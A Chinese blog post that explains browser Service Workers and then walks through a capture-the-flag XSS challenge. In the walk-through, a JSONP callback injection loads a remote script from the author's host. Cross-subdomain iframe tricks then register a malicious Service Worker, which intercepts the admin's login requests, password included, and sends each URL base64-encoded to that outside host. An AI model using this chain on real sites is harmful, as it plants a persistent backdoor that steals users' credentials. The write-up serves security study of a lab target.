Service Worker 介绍
Service Worker是根据origin和资源路径注册的以事件驱动的Worker。主要以Javascript文件的形式,该Javascript脚本可以用于控制与其关联的网页内容,可以用于拦截和修改请求和资源内容,甚至缓存资源。最常见的Service Worker的使用方法是,如网络连接不可用的情况下,对于访问行为进行的资源加载。
Service Worker主要在工作程序的上下文运行,因此没有DOM的访问权限,同时它运行在与目标标签页不同的线程上。
出于安全原因,Service Worker仅在https或localhost上运行以防止中间人攻击。
Service Worker 使用
Service Worker的遵循以下生命周期
- 注册(下载)
- 安装
- 启用
当用户首次访问存在Service Worker的站点时,将会立即下载Service Worker
通过监听install事件,安装Service Worker
通过activate事件,用于激活Service Worker
通过FetchEvent事件来响应请求,可以使用FetchEvent.repsondWith()方法以任何需要的方式修改请求的响应内容。
注册
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'})
.then((reg) => {
// registration worked
console.log('Registration succeeded. Scope is ' + reg.scope);
}).catch((error) => {
// registration failed
console.log('Registration failed with ' + error);
});
}
主要的参数主要有两个
/sw-test/sw.js 为service worker的js路径
- js路径是相对路径
- worker需要运行在HTTPS环境下
- Service worker需要与Web应用同源
./sw-test/ 为service worker的工作路径(所有请求响应拦截仅会在该路径下)
安装并激活
注册完成后,浏览器将尝试安装,然后为您的页面/站点激活SW
安装完成后,将触发install事件,install事件用于填充脱机运行时的资源。例如缓存js
self.addEventListener('install', (event) => {
event.waitUntil(
caches.open('v1').then((cache) => {
return cache.addAll([
'./sw-test/',
'./sw-test/index.html',
'./sw-test/style.css',
'./sw-test/app.js',
'./sw-test/image-list.js',
'./sw-test/star-wars-logo.jpg',
'./sw-test/gallery/',
'./sw-test/gallery/bountyHunters.jpg',
'./sw-test/gallery/myLittleVader.jpg',
'./sw-test/gallery/snowTroopers.jpg'
]);
})
);
});
激活主要用于更新Service worker,可用于持久控制时,针对系统的版本更新进行更新SW。
Fetch 事件
Fetch事件会获取该SW控制的所有资源请求,因此我们可以通过Fetch很简单的对HTTP响应进行修改,更新。
self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request)
);
});
fetch中可以对event.request和response作出如new Response或者clone()等处理,用于魔改返回或者存储内容。
importScripts
importScripts 主要来自Web Worker,用于引入外部脚本。而Service Worker也可以使用这个方法。因此我们可以在Service Worker中使用该方法来引入外部变量,前提是同样使用https。
做题家
0x01 功能分析
首先打开题目
https://xss.xss.eec5b2.challenge.gcsis.cn/
看到一个子域名爆破的工具,然而子域名的资源获取的地方404了,因此这个功能基本没啥用。
结合第一个hint:jsonp,找到jsonp在登陆页面,审计js代码
可以发现有几个问题
- auto_reg_var可以用于覆盖变量
- jsonp的回调函数如果满足条件可以造成任意跳转
首先变量覆盖就可以用于覆盖定义好的callback变量,来注入js,如
https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=alert(1)//
造成弹窗,但是此处有长度限制,无法执行太长的js
jsonp回调函数如果满足result['status']则会跳转到对应的jump_url。看起来可以用,但是后面的
window[funName] = function(data){...}
由于funName = callback,因此无法获取到自己输入的括号中的数据,导致无法利用。
0x02 利用链
jsonp方法虽然没法造成任意跳转,但是可以用于获取到任意js,同时加载入页面中。如下
https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//www.bertramc.cn/a.js%22);
通过两次jsonp成功引入了我们自己的js。
这时候如果是打cookie,那么我们已经成功了。
但是注意到提示
嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!
收到邮件后点开链接,然后登陆,也就是不是已经登陆的BOT,应该是通过selenium模拟登陆的BOT。对登陆功能分析,发现登陆就是直接对api进行了get请求,因此思路大致清楚了,只需要获取到管理员登陆时的URL即可,这时候就需要用到Service Worker了,SW可以实现类似常驻后门的操作,可以用于监控该Service Worker控制的网站的请求。
0x03 解决问题
首先发现,Service Worker需要抓取密码的应用和实际存在XSS的应用在不同域。
登陆
https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginVerify?adminname=admin&adminpwd=123123
XSS
https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//www.bertramc.cn/a.js%22);
因此首先要解决的就是Service Worker注册时的跨域问题。
- 通过新建iframe和设置document.domain来使iframe和父body的js可以实现互通。
- iframe的src设置为https://auth.xss.eec5b2.challenge.gcsis.cn/
- 最后在iframe中执行注册service worker的js即可
document.domain="xss.eec5b2.challenge.gcsis.cn";
var iframe = document.createElement('iframe');
iframe.id = 'fucker';
iframe.src="https://auth.xss.eec5b2.challenge.gcsis.cn/";
document.body.appendChild(iframe);
function loadover(){
document.domain="xss.eec5b2.challenge.gcsis.cn";
s = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//www.bertramc.cn/b.js')//")`;
document.getElementById("fucker").contentWindow.eval(s);
}
iframe1 = document.getElementById("fucker");
iframe1.addEventListener("load", function(){ loadover(); });
分别用到几个点
- Iframe 和父域通过控制父域的domain可以实现js互通
- 在iframe中执行代码,需要iframe加载完成后才行
- 在iframe中执行代码使用
contentWindow.eval()
解决这些问题后,就可以实现跨子域名注册Service Worker了
代码如下
self.addEventListener('install', function(event) {
console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return requestBackend(event);
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url.url)
fetch("https://www.bertramc.cn/?flag="+btoa(url.url));
}
这里直接抄了别人的代码,然后通过fetch来传递数据。
此处评论已关闭